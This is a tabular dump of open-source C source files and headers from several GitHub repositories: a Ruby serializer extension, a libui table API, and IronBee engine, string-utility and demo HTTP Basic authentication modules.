repo_name
stringlengths
5
122
path
stringlengths
3
232
text
stringlengths
6
1.05M
baptistejub/sparsam
ext/ruby_hooks.c
#include "serializer.h" #include "stdio.h" #include <ruby.h> VALUE Sparsam = Qnil; VALUE static_zero_array; VALUE SparsamNativeError = Qnil; ID intern_for_DEFAULT_VALUES; ID intern_for_assign_defaults; ID intern_for_assign_from_arg; static void deallocate(void *data) { serializer_free(data); } static VALUE allocate(VALUE klass) { void *data = serializer_create(); return Data_Wrap_Struct(klass, NULL, deallocate, data); } static VALUE sparsam_init_bang(VALUE self) { initialize_runtime_constants(); return self; } static VALUE initialize(VALUE self, VALUE type_arg, VALUE str_arg) { void *self_data = NULL; void *input_string = NULL; Check_Type(type_arg, T_FIXNUM); int prot = NUM2INT(type_arg); Check_Type(str_arg, T_STRING); uint32_t len = RSTRING_LEN(str_arg); if (len != 0) { input_string = calloc(len, sizeof(char)); memcpy(input_string, StringValuePtr(str_arg), len); } Data_Get_Struct(self, void *, self_data); serializer_init(self_data, prot, input_string, len); return self; } VALUE sparsam_struct_initialize(int argc, VALUE* argv, VALUE self) { if (argc > 1) { rb_raise(rb_eArgError, "wrong number of arguments (given %d, expected 0..1)", argc); } VALUE defaults = rb_const_get(rb_obj_class(self), intern_for_DEFAULT_VALUES); if (defaults != Qnil) { rb_funcall(self, intern_for_assign_defaults, 1, defaults); } if (argc == 1) { rb_funcall(self, intern_for_assign_from_arg, 1, argv[0]); } if (rb_block_given_p()) { rb_yield(self); } return Qnil; } void Init_sparsam_native() { Sparsam = rb_define_module("Sparsam"); rb_define_singleton_method(Sparsam, "init!", sparsam_init_bang, 0); rb_define_singleton_method(Sparsam, "cache_fields", cache_fields, 1); VALUE SparsamSerializer = rb_define_class_under(Sparsam, "Serializer", rb_cObject); SparsamNativeError = rb_define_class_under(Sparsam, "Exception", rb_eStandardError); rb_define_alloc_func(SparsamSerializer, allocate); rb_define_method(SparsamSerializer, "initialize", initialize, 2); rb_define_method(SparsamSerializer, "serialize", serializer_writeStruct, 2); rb_define_method(SparsamSerializer, "deserialize", serializer_readStruct, 1); rb_define_const(Sparsam, "CompactProtocol", INT2FIX(compact)); rb_define_const(Sparsam, "BinaryProtocol", INT2FIX(binary)); rb_define_const(Sparsam, "UNION", INT2FIX(t_union)); rb_define_const(Sparsam, "STRUCT", INT2FIX(t_struct)); rb_define_const(Sparsam, "NORMAL", INT2FIX(normal)); rb_define_const(Sparsam, "STRICT", INT2FIX(strict)); rb_define_const(Sparsam, "RECURSIVE", INT2FIX(recursive)); intern_for_DEFAULT_VALUES = rb_intern("DEFAULT_VALUES"); intern_for_assign_defaults = rb_intern("assign_defaults"); intern_for_assign_from_arg = rb_intern("assign_from_arg"); VALUE SparsamStructInitialization = rb_define_module_under(Sparsam, "StructInitialization"); rb_define_method(SparsamStructInitialization, "initialize", sparsam_struct_initialize, -1); initialize_constants(); }
patka817/SwiftX
SwiftX/SwiftX.h
// // SwiftX.h // SwiftX // // Created by <NAME> on 2020-10-07. // Copyright © 2020 <NAME>. All rights reserved. // #import <Foundation/Foundation.h> //! Project version number for SwiftX. FOUNDATION_EXPORT double SwiftXVersionNumber; //! Project version string for SwiftX. FOUNDATION_EXPORT const unsigned char SwiftXVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <SwiftX/PublicHeader.h>
SergejJurecko/native-ui
native-ui-sys/libui/uitable.h
<gh_stars>1-10 // 20 june 2016 // kept in a separate file for now typedef struct uiImage uiImage; // TODO use const void * for const correctness _UI_EXTERN uiImage *uiNewImage(double width, double height); _UI_EXTERN void uiFreeImage(uiImage *i); _UI_EXTERN void uiImageAppend(uiImage *i, void *pixels, int pixelWidth, int pixelHeight, int pixelStride); typedef struct uiTableValue uiTableValue; _UI_EXTERN void uiFreeTableValue(uiTableValue *v); // TODO actually validate these _UI_ENUM(uiTableValueType) { uiTableValueTypeString, uiTableValueTypeImage, uiTableValueTypeInt, uiTableValueTypeColor, }; // TODO I don't like this name _UI_EXTERN uiTableValueType uiTableValueGetType(const uiTableValue *v); _UI_EXTERN uiTableValue *uiNewTableValueString(const char *str); _UI_EXTERN const char *uiTableValueString(const uiTableValue *v); _UI_EXTERN uiTableValue *uiNewTableValueImage(uiImage *img); _UI_EXTERN uiImage *uiTableValueImage(const uiTableValue *v); _UI_EXTERN uiTableValue *uiNewTableValueInt(int i); _UI_EXTERN int uiTableValueInt(const uiTableValue *v); _UI_EXTERN uiTableValue *uiNewTableValueColor(double r, double g, double b, double a); _UI_EXTERN void uiTableValueColor(const uiTableValue *v, double *r, double *g, double *b, double *a); typedef struct uiTableModel uiTableModel; typedef struct uiTableModelHandler uiTableModelHandler; // TODO validate ranges; validate types on each getter/setter call (? table columns only?) struct uiTableModelHandler { int (*NumColumns)(uiTableModelHandler *, uiTableModel *); uiTableValueType (*ColumnType)(uiTableModelHandler *, uiTableModel *, int); int (*NumRows)(uiTableModelHandler *, uiTableModel *); uiTableValue *(*CellValue)(uiTableModelHandler *, uiTableModel *, int, int); void (*SetCellValue)(uiTableModelHandler *, uiTableModel *, int, int, const uiTableValue *); }; _UI_EXTERN uiTableModel *uiNewTableModel(uiTableModelHandler *mh); _UI_EXTERN void uiFreeTableModel(uiTableModel *m); _UI_EXTERN void uiTableModelRowInserted(uiTableModel *m, int newIndex); _UI_EXTERN void uiTableModelRowChanged(uiTableModel *m, int index); _UI_EXTERN void uiTableModelRowDeleted(uiTableModel *m, int oldIndex); // TODO reordering/moving #define uiTableModelColumnNeverEditable (-1) #define uiTableModelColumnAlwaysEditable (-2) typedef struct uiTableTextColumnOptionalParams uiTableTextColumnOptionalParams; typedef struct uiTableParams uiTableParams; struct uiTableTextColumnOptionalParams { int ColorModelColumn; }; struct uiTableParams { uiTableModel *Model; int RowBackgroundColorModelColumn; }; typedef struct uiTable uiTable; #define uiTable(this) ((uiTable *) (this)) _UI_EXTERN void uiTableAppendTextColumn(uiTable *t, const char *name, int textModelColumn, int textEditableModelColumn, uiTableTextColumnOptionalParams *textParams); _UI_EXTERN void uiTableAppendImageColumn(uiTable *t, const char *name, int imageModelColumn); _UI_EXTERN void uiTableAppendImageTextColumn(uiTable *t, const char *name, int imageModelColumn, int textModelColumn, int textEditableModelColumn, uiTableTextColumnOptionalParams *textParams); _UI_EXTERN void uiTableAppendCheckboxColumn(uiTable *t, const char *name, int checkboxModelColumn, int checkboxEditableModelColumn); _UI_EXTERN void uiTableAppendCheckboxTextColumn(uiTable *t, const char *name, int checkboxModelColumn, int checkboxEditableModelColumn, int textModelColumn, int textEditableModelColumn, uiTableTextColumnOptionalParams *textParams); _UI_EXTERN void uiTableAppendProgressBarColumn(uiTable *t, const char *name, int progressModelColumn); _UI_EXTERN void uiTableAppendButtonColumn(uiTable *t, const char *name, int buttonModelColumn, int buttonClickableModelColumn); _UI_EXTERN uiTable *uiNewTable(uiTableParams *params);
crustymonkey/ironbee
modules/ident_authbasic.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief Demo ident module: Proof of concept. * * Demo ident module: implement HTTP Basic auth because it offers * a simple proof-of-concept for an ident framework * * NOTE: this makes no attempt to check a password! * We only return a username set by a client. * * If we want to enable checking passwords then we'll want * another framework for password lookups (c.f. apache httpd). * But in the case of basic auth, I'm not convinced that would * add value to ironbee. * * * @author <NAME> <<EMAIL>> */ #include <ironbee/context.h> #include <ironbee/engine_state.h> #include <ironbee/ident.h> #include <ironbee/module.h> #include <ironbee/parsed_content.h> #include <ironbee/string.h> #include <assert.h> #include <ctype.h> /** Module name. */ #define MODULE_NAME ident_authbasic /** Stringified version of MODULE_NAME */ #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) IB_MODULE_DECLARE(); typedef struct ident_authbasic_cfg_t { const char *realm; } ident_authbasic_cfg_t; /** * Get the value of an HTTP header * * @param mm Manager to allocate from * @param wrapper The header wrapper * @param name The header name * @return Header value, or NULL if not set * * FIXME: make this a general utility function */ static const char *header_get(ib_mm_t mm, ib_parsed_headers_t *wrapper, const char *name) { ib_parsed_header_t *p; /* To check "last" condition in for() would be to omit the last element. * So check each element before checking for end-of-list */ for (p = wrapper->head; strncasecmp(name, (const char *)ib_bytestr_ptr(p->name), ib_bytestr_length(p->name)); p = p->next) { if (p == wrapper->tail) { return NULL; } } return ib_mm_memdup_to_str(mm, ib_bytestr_ptr(p->value), ib_bytestr_length(p->value)); } /** * Decode a Base64-encoded string. Code based on APR's base64 module. * * @param mm Manager to allocate from * @param encoded The encoded string * @return The decoded string */ static char *base64_decode(ib_mm_t mm, const char *encoded) { /* ASCII table */ static const unsigned char pr2six[256] = { 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 }; char *decoded; int len; register const unsigned char *bufin = (const unsigned char *)encoded; register unsigned char *bufout; register unsigned int nprbytes; while (pr2six[*(bufin++)] <= 63); nprbytes = (bufin - (const unsigned char *) encoded) - 1; len = (((int)nprbytes + 3) / 4) * 3; decoded = ib_mm_alloc(mm, len+1); assert(decoded != NULL); bufout = (unsigned char *)decoded; bufin = (const unsigned char *)encoded; while (nprbytes > 4) { *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); bufin += 4; nprbytes -= 4; } /* Note: (nprbytes == 1) would be an error, so just ignore that case */ if (nprbytes > 1) { *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); } if (nprbytes > 2) { *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); } if (nprbytes > 3) { *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); } *bufout = '\0'; return decoded; } /** * Decode HTTP Basic authentication * NOTE: this makes no attempt to check a password! * We only return a username set by a client. * * If we want to enable checking passwords then we'll want * another framework for password lookups (c.f. apache httpd). * * @param tx The transaction * @return The HTTP basic authenticated username, or NULL if not authenticated */ static const char *basic_get_user(ib_tx_t *tx) { const char *authorization; const char *p; char *decoded; char *outp; /* Get Authorization header */ authorization = header_get(tx->mm, tx->request_header, "authorization"); if (!authorization) { ib_log_debug_tx(tx, "Basic Authentication: no header!"); return NULL; } /* Parse it for credentials string */ p = strcasestr(authorization, "Basic"); if (p == NULL) { ib_log_debug_tx(tx, "Basic Authentication: no credentials!"); return NULL; } /* skip whitespace */ for (p += 5; isspace(*p); ++p); /* base64-decode the string */ decoded = base64_decode(tx->mm, p); /* return the string to the left of the first colon */ outp = strchr(decoded, ':'); if (outp == NULL) { ib_log_error_tx(tx, "Basic Authentication: Error parsing %s", decoded); return NULL; } *outp = '\0'; ib_log_info_tx(tx, "Basic authentication: username %s", decoded); return decoded; } /** * Issue an HTTP Basic Authentication Challenge * * @param tx The transaction * @return status */ static ib_status_t basic_challenge(ib_tx_t *tx) { /* Enforce basic auth on a client that didn't authenticate */ char *challenge; ident_authbasic_cfg_t *cfg; ib_status_t rc; ib_module_t *m; rc = ib_engine_module_get(tx->ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(tx->ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); ib_log_info_tx(tx, "Challenging Client (HTTP Basic Authentication)"); challenge = ib_mm_alloc(tx->mm, strlen("Basic realm=..") + strlen(cfg->realm) + 1); assert(challenge != NULL); sprintf(challenge, "Basic realm=\"%s\"", cfg->realm); ib_server_error_response(ib_engine_server_get(tx->ib), tx, 401); ib_server_error_header( ib_engine_server_get(tx->ib), tx, IB_S2SL("WWW-Authenticate"), IB_S2SL(challenge) ); return IB_OK; } /** * Initialization function: register HTTP Basic provider with ident module * * @param ib The engine * @param m The module * @param cbdata Unused * @return status */ static ib_status_t ident_authbasic_init(ib_engine_t *ib, ib_module_t *m, void *cbdata) { static ib_ident_provider_t ident_authbasic_provider = { request_header_finished_state, basic_get_user, basic_challenge }; return ib_ident_provider_register(ib, "authbasic", &ident_authbasic_provider); } /** * Configuration function to set basic authentication realm * * @param cp IronBee configuration parser * @param name Unused * @param p1 Realm value to set * @param dummy Ignored. * @return OK */ static ib_status_t ident_authbasic_realm(ib_cfgparser_t *cp, const char *name, const char *p1, void *dummy) { ident_authbasic_cfg_t *cfg; ib_status_t rc; ib_module_t *m; rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(cp->ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); cfg->realm = p1; return rc; } static IB_DIRMAP_INIT_STRUCTURE(ident_authbasic_config) = { IB_DIRMAP_INIT_PARAM1( "AuthBasicRealm", ident_authbasic_realm, NULL ), /* End */ IB_DIRMAP_INIT_LAST }; static ident_authbasic_cfg_t ident_authbasic_ini = { "Ironbee" }; IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ IB_MODULE_CONFIG(&ident_authbasic_ini), /**< Global config data */ NULL, /**< Configuration field map */ ident_authbasic_config, /**< Config directive map */ ident_authbasic_init, NULL, /**< Initialize function */ NULL, NULL, /**< Finish function */ );
crustymonkey/ironbee
engine/engine_private.h
<filename>engine/engine_private.h /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_ENGINE_PRIVATE_H_ #define _IB_ENGINE_PRIVATE_H_ /** * @file * @brief IronBee --- Engine Private Declarations * * @author <NAME> <<EMAIL>> */ #include "state_notify_private.h" #include <ironbee/array.h> #include <ironbee/context_selection.h> #include <ironbee/lock.h> #include <ironbee/logger.h> #include <stdio.h> /** * Per-context audit log configuration. * * This struct is associated with an owning context by the ib_context_t* * member named "owner." * Only the owner context may destroy or edit the logging context. * Child contexts that copy from the parent context may have a copy of * the pointer to this struct, but may not edit its context. * * Child contexts may, though, lock the index_fp_lock field and write to * the index_fp. * * The owning context should lock index_fp_lock before updating lock_fp and * index. */ typedef struct ib_auditlog_cfg_t ib_auditlog_cfg_t; struct ib_auditlog_cfg_t { bool index_enabled; /**< Index file enabled? */ bool index_default; /**< Index file is default? */ char *index; /**< Index file name. */ FILE *index_fp; /**< Index file pointer. */ ib_lock_t index_fp_lock; /**< Lock to protect index_fp. */ ib_context_t *owner; /**< Owning context. Only owner should edit. */ }; /** * Rule engine data */ typedef struct ib_rule_engine_t ib_rule_engine_t; /** * Rule engine per-context data */ typedef struct ib_rule_context_t ib_rule_context_t; /** * Engine configuration state */ typedef enum { CFG_NOT_STARTED, CFG_STARTED, CFG_FINISHED } ib_engine_cfg_state_t; /** * Configuration Context Selection Registration Data */ struct ib_ctxsel_registration_t { ib_mm_t mm; /**< Memory manager */ const ib_module_t *module; /**< Associated Module */ void *common_cb_data; /**< Common cb data */ ib_ctxsel_select_fn_t select_fn; /**< Selection fn */ void *select_cb_data; /**< callback data */ ib_ctxsel_site_create_fn_t site_create_fn; /**< Site create fn */ void *site_create_cb_data; /**< Callback data */ ib_ctxsel_location_create_fn_t location_create_fn; /**< loc create fn */ void *location_create_cb_data; /**< Callback data*/ ib_ctxsel_host_create_fn_t host_create_fn; /**< host-create fn */ void *host_create_cb_data; /**< Callback data*/ ib_ctxsel_service_create_fn_t service_create_fn; /**< serv create fn */ void *service_create_cb_data; /**< Callback data */ ib_ctxsel_site_open_fn_t site_open_fn; /**< Site-open fn */ void *site_open_cb_data; /**< Callback cb data */ ib_ctxsel_location_open_fn_t location_open_fn; /**< Location-open fn */ void *location_open_cb_data; /**< Callback data */ ib_ctxsel_site_close_fn_t site_close_fn; /**< Site-close fn */ void *site_close_cb_data; /**< Callback data*/ ib_ctxsel_location_close_fn_t location_close_fn; /**< Location-close fn */ void *location_close_cb_data; /**< Callback data*/ ib_ctxsel_finalize_fn_t finalize_fn; /**< Finalize fn */ void *finalize_cb_data; /**< Callback data*/ }; /** * Block handler function and callback data. **/ struct ib_block_handler_t { const char *name; ib_block_handler_fn_t handler; void *cbdata; }; typedef struct ib_block_handler_t ib_block_handler_t; /** * Block pre-callback function and callback data. **/ struct ib_block_pre_hook_t { const char *name; ib_block_pre_hook_fn_t hook; void *cbdata; }; typedef struct ib_block_pre_hook_t ib_block_pre_hook_t; /** * Block handler function and callback data. **/ struct ib_block_post_hook_t { const char *name; ib_block_post_hook_fn_t hook; void *cbdata; }; typedef struct ib_block_post_hook_t ib_block_post_hook_t; /** * Engine handle. */ struct ib_engine_t { ib_mpool_t *mp; /**< Primary memory pool */ ib_mpool_t *config_mp; /**< Config memory pool */ ib_mpool_t *temp_mp; /**< Temp memory pool for config */ ib_var_store_t *var_store; /**< Var store */ ib_context_t *ectx; /**< Engine configuration context */ ib_context_t *ctx; /**< Main configuration context */ ib_engine_cfg_state_t cfg_state; /**< Engine configuration state */ char sensor_id[IB_UUID_LENGTH]; /**< Sensor UUID */ const char *sensor_name; /**< Sensor name */ const char *sensor_version; /**< Sensor version string */ const char *sensor_hostname; /**< Sensor hostname */ char instance_id[IB_UUID_LENGTH]; /**< Engine instance UUID */ ib_cfgparser_t *cfgparser; /**< Our configuration parser */ /// @todo Only these should be private const ib_server_t *server; /**< Info about the server */ ib_array_t *modules; /**< Array tracking modules */ ib_array_t *filters; /**< Array tracking filters */ ib_list_t *contexts; /**< Configuration contexts */ ib_hash_t *dirmap; /**< Hash tracking directive map */ ib_hash_t *tfns; /**< Hash tracking transforms */ ib_hash_t *operators; /**< Operators by name */ ib_hash_t *stream_operators;/**< Stream operators by name*/ ib_hash_t *actions; /**< Hash tracking rules */ ib_rule_engine_t *rule_engine; /**< Rule engine data */ ib_logger_t *logger; /**< The engine log object. */ ib_var_config_t *var_config; /**< Data configuration. */ /* Hooks */ ib_list_t *hooks[IB_STATE_NUM + 1]; /**< Registered hook callbacks */ /* Context selection function registration; both active and core */ ib_ctxsel_registration_t act_ctxsel; /**< Active context selection reg. */ ib_ctxsel_registration_t core_ctxsel; /**< Core context selection reg. */ /* Block handler. */ ib_block_handler_t block_handler; /* List of block pre_hooks. Value type is ib_block_pre_hook_t* */ ib_list_t *block_pre_hooks; /* List of block post_hooks. Value type is ib_block_post_hook_t* */ ib_list_t *block_post_hooks; }; /** * Configuration context data. */ typedef struct ib_context_data_t ib_context_data_t; struct ib_context_data_t { ib_module_t *module; /**< Module handle */ void *data; /**< Module config structure */ size_t data_length; /**< Length of data */ }; /** * Configuration context states */ typedef enum { CTX_CREATED, CTX_OPEN, CTX_CLOSED } ib_context_state_t; /** * Configuration context. */ struct ib_context_t { ib_engine_t *ib; /**< Engine */ ib_mpool_t *mp; /**< Memory pool */ ib_mm_t mm; /**< Memory manager */ ib_cfgmap_t *cfg; /**< Config map */ ib_array_t *cfgdata; /**< Config data */ ib_context_t *parent; /**< Parent context */ ib_list_t *children; /**< Child contexts */ ib_ctype_t ctype; /**< Context type */ const char *ctx_type; /**< Type identifier string. */ const char *ctx_name; /**< Name identifier string. */ const char *ctx_full; /**< Full name of context */ const char *ctx_cwd; /**< Context's current directory */ ib_auditlog_cfg_t *auditlog; /**< Per-context audit log cfgs. */ ib_context_state_t state; /**< Context state */ /* Data specific to the selector for this context */ const ib_site_t *site; /**< Site for site/location contexts */ const ib_site_location_t *location; /**< Location for location contexts */ /* Filters */ ib_list_t *filters; /**< Context enabled filters */ /* Rules associated with this context */ ib_rule_context_t *rules; /**< Rule context data */ }; #endif /* _IB_ENGINE_PRIVATE_H_ */
crustymonkey/ironbee
util/string.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- String related functions * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/string.h> #include <ironbee/types.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <inttypes.h> #include <limits.h> #include <math.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> /* Helper Functions. */ /** * Get the number of digits in a number * * @param[in] num The number to operate on * * @returns Number of digits (including '-') */ static size_t ib_num_digits(int64_t num); /** * Get the size of a string buffer required to store a number * * @param[in] num The number to operate on * * @returns Required string length */ static size_t ib_num_buf_size(int64_t num); static const int64_t P10_INT64_LIMIT = (INT64_MAX / 10); ib_status_t ib_string_to_num_ex( const char *s, size_t slen, int base, ib_num_t *result ) { assert(result != NULL); char *buf; ib_status_t rc; /* Check for zero length string */ if ( (s == NULL) || (slen == 0) ) { return IB_EINVAL; } buf = malloc(slen+1); if (buf == NULL) { return IB_EALLOC; } memcpy(buf, s, slen); buf[slen] = '\0'; rc = ib_string_to_num(buf, base, result); free(buf); return rc; } ib_status_t ib_string_to_num( const char *s, int base, ib_num_t *result ) { assert(result != NULL); size_t slen; char *end; long int value; size_t vlen; /* Check for zero length string */ if ( (s == NULL) || (*s == '\0') ) { return IB_EINVAL; } slen = strlen(s); /* Do the conversion, check for errors */ value = strtol(s, &end, base); vlen = (end - s); if (vlen != slen) { return IB_EINVAL; } else if ( ((value == LONG_MIN) || (value == LONG_MAX)) && (errno == ERANGE) ) { return IB_EINVAL; } else { *result = value; return IB_OK; } } ib_status_t ib_string_to_time_ex( const char *s, size_t slen, ib_time_t *result ) { assert(result != NULL); ib_status_t rc; char *buf; /* Check for zero length string */ if ( (s == NULL) || (slen == 0) ) { return IB_EINVAL; } buf = malloc(slen+1); if (buf == NULL) { return IB_EALLOC; } memcpy(buf, s, slen); buf[slen] = '\0'; rc = ib_string_to_time(buf, result); free(buf); return rc; } ib_status_t ib_string_to_time( const char *s, ib_time_t *result ) { assert(result != NULL); size_t slen; char *end; unsigned long int value; size_t vlen; /* Check for zero length string */ if ( (s == NULL) || (*s == '\0') ) { return IB_EINVAL; } slen = strlen(s); /* Do the conversion, check for errors */ value = strtoul(s, &end, 0); vlen = (end - s); if (vlen != slen) { return IB_EINVAL; } else if ( (value == ULONG_MAX) && (errno == ERANGE) ) { return IB_EINVAL; } else { *result = value; return IB_OK; } } ib_status_t ib_string_to_float_ex( const char *s, size_t slen, ib_float_t *result ) { assert(result != NULL); ib_status_t rc; /* Check for zero length string */ if ( (s == NULL) || (*s == '\0') ) { return IB_EINVAL; } char *sdup = strndup(s, slen); if ( ! sdup ) { return IB_EALLOC; } /* In this case the _ex function calls out to the no-length function. */ rc = ib_string_to_float(sdup, result); free(sdup); return rc; } ib_status_t ib_string_to_float(const char *s, ib_float_t *result) { assert(result != NULL); char *endptr; const char *send; ib_float_t val; size_t len; *result = 0.0; /* Check for zero length string */ if ( (s == NULL) || (*s == '\0') ) { return IB_EINVAL; } /* Get the length */ len = strlen(s); send = s + len; errno = 0; val = strtold(s, &endptr); /* Conversion failed */ if (endptr != send) { return IB_EINVAL; } /* Check for Underflow would occur. */ if ( (val == 0.0) && (errno == ERANGE) ) { return IB_EINVAL; } /* Overflow would occur. */ if ( ((val == HUGE_VALL) || (val == -HUGE_VALL)) && (errno == ERANGE)) { return IB_EINVAL; } *result = val; return IB_OK; } const char *ib_strstr( const char *haystack, size_t haystack_len, const char *needle, size_t needle_len ) { assert(haystack != NULL); assert(needle != NULL); size_t i = 0; size_t imax; /* If either pointer is NULL or either length is zero, done */ if ( (haystack == NULL) || (haystack_len == 0) || (needle == NULL) || (needle_len == 0) || (haystack_len < needle_len) ) { return NULL; } /* Search for the needle */ imax = haystack_len - (needle_len-1); for (i = 0; i < imax; ++i) { const char *hp = haystack + i; bool found = true; size_t j = 0; for (j = 0; j < needle_len; ++j) { if ( *(hp + j) != *(needle + j) ) { found = false; break; } } if (found) { return hp; } } return NULL; } size_t ib_num_digits(int64_t num) { size_t n = 1; int64_t po10; if (num < 0) { num = -num; ++n; } po10 = 10; while (num >= po10) { ++n; if (po10 > P10_INT64_LIMIT) break; po10 *= 10; } return n; } size_t ib_num_buf_size(int64_t num) { size_t digits = ib_num_digits(num); return digits + 1; } const char *ib_num_to_string( ib_mm_t mm, int64_t value ) { size_t size = ib_num_buf_size(value); char *buf = ib_mm_alloc(mm, size); if (buf != NULL) { snprintf(buf, size, "%"PRId64, value); } return buf; } const char *ib_time_to_string(ib_mm_t mm, ib_time_t value) { size_t size = ib_num_buf_size(value); char *buf = ib_mm_alloc(mm, size); if (buf != NULL) { snprintf(buf, size, "%"PRIu64, value); } return buf; } const char *ib_float_to_string( ib_mm_t mm, long double value ) { char *buf = ib_mm_alloc(mm, 10); if (buf != NULL) { snprintf(buf, 10, "%Lf", value); } return buf; } ib_status_t ib_string_join( const char *join_string, ib_list_t *list, ib_mm_t mm, const char **pout, size_t *pout_len ) { assert(join_string != NULL); assert(list != NULL); assert(pout != NULL); assert(pout_len != NULL); const ib_list_node_t *node; char *end; /* Points to the \0 in out. */ const char *out; size_t out_len = 1; /* Size to hold an empty string, '\0' */ size_t *str_len; /* Array of lengths of char*s in list. */ size_t str_idx; /* Index into str_len. */ size_t join_string_len; join_string_len = strlen(join_string); /* Handle the base-case and avoid asking for size 0 memory segments. */ if (ib_list_elements(list) == 0) { *pout = ""; *pout_len = 0; return IB_OK; } /* First, build a place to cache string lengths. */ str_len = ib_mm_alloc(mm, sizeof(*str_len) * ib_list_elements(list)); if (str_len == NULL) { return IB_EALLOC; } /* Record each string length and sum those lengths into out_len. * Recall that out_len starts equal to 1 for the '\0'. */ str_idx = 0; IB_LIST_LOOP_CONST(list, node) { const size_t len = strlen((const char *)ib_list_node_data_const(node)); out_len += len; str_len[str_idx] = len; ++str_idx; } /* Increase out_len by the join string length * (n-1) elements. */ out_len += (ib_list_elements(list) - 1)* join_string_len; /* Allocate the final string. */ end = ib_mm_alloc(mm, out_len); if (end == NULL) { return IB_EALLOC; } /* Setup vars for joining the strings into out. */ out = end; str_idx = 0; node = ib_list_first(list); /* Copy the first string. We know the list is > 0 elements long. */ strcpy(end, (const char *)ib_list_node_data_const(node)); end += str_len[str_idx]; ++str_idx; /* Having copied the first string, now copy the join string, then the * the next string until the end of the list. */ for ( node = ib_list_node_next_const(node); node != NULL; node = ib_list_node_next_const(node) ) { /* Copy the join string first. */ strcpy(end, join_string); end += join_string_len; /* Copy the lagging string. */ strcpy(end, (const char *)ib_list_node_data_const(node)); end += str_len[str_idx]; ++str_idx; } /* Commit work back to the caller. */ *pout = out; *pout_len = out_len-1; return IB_OK; }
crustymonkey/ironbee
engine/logger.c
